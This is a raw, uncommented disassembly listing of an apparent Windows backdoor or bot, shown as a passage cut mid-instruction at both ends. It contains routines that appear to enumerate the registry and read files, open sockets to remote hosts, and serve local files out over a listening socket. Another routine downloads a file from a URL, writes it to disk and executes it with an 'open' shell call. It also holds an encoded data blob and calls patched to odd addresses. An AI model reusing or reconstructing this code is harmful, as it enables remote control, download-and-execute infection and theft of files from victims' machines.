mov [esi+2Bh], bl call dword_4CAF14 test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CAFD0 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CAFD0 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CAFD0 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB024 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CAF14 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CAF14 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CAF14 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CAFD0 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CAF14 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CAFD0 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CAF14 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CAFD0 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CAF14 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CAFD0 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CAF14 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CAFD0 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CAF14 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CAF14 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CAFD0 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB024 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4361F4, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_4361F4 mov esi, offset dword_436200 mov edi, offset dword_4373F8 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CAFE4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CAE74 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4293BC push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_4373F4 ; "=" push eax call sub_41C0F4 push offset asc_4373F4 ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CAF50 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_415C53 push edi call dword_4CB00C loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 15E85659h dd 90022BA3h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h, 0C3E8F075h dd 59FFFF56h, 0A2AAE856h, 6A90022Bh, 54E89064h, 330225A8h dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h, 85004CAFh dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 0FCE89064h, 6A0225A7h, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 2BA1E7E8h db 2, 90h ; --------------------------------------------------------------------------- loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_437574 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CAF74 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CAFA0 test eax, eax jz short loc_415EA6 push offset unk_437550 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CAF18 push dword ptr [ebp-2Eh] call dword_4CAEA4 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CAF9C test eax, eax jz short loc_415F21 push offset unk_437474 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax call near ptr 26F0867h nop cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437530 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax call near ptr 2720A09h nop mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CAFB4 push eax call dword_4CAF70 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437518 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CAF5C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437500 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_4374DC loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB00C cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 2760000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] call near ptr 26F0000h nop push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CAFC4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CAF8C cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] nop call near ptr 265092Ah push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB000 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_4374B0 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB00C loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_437498 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2670000h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4293C4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 26F0867h cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_437614 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax nop call near ptr 265092Ah lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_4375E4 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_4375C4 loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CAF8C mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CAF70 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CAFC4 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_437498 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 call near ptr 26D0000h nop loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_437598 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB00C loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CAF24 call dword_4CAE78 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 26F0867h cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_4377E0 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi call near ptr 26D0000h nop loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi nop call near ptr 2680D12h mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CAE80 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 26E0000h cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377B8 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437790 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43DCB0 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437764 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j nop call near ptr 2680D12h sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 265092Ah push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_43773C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_437704 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CAEE0 cmp [ebp-30h], esi jnz loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_4376E8 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: ___:0041669Fj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_4376A4 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, 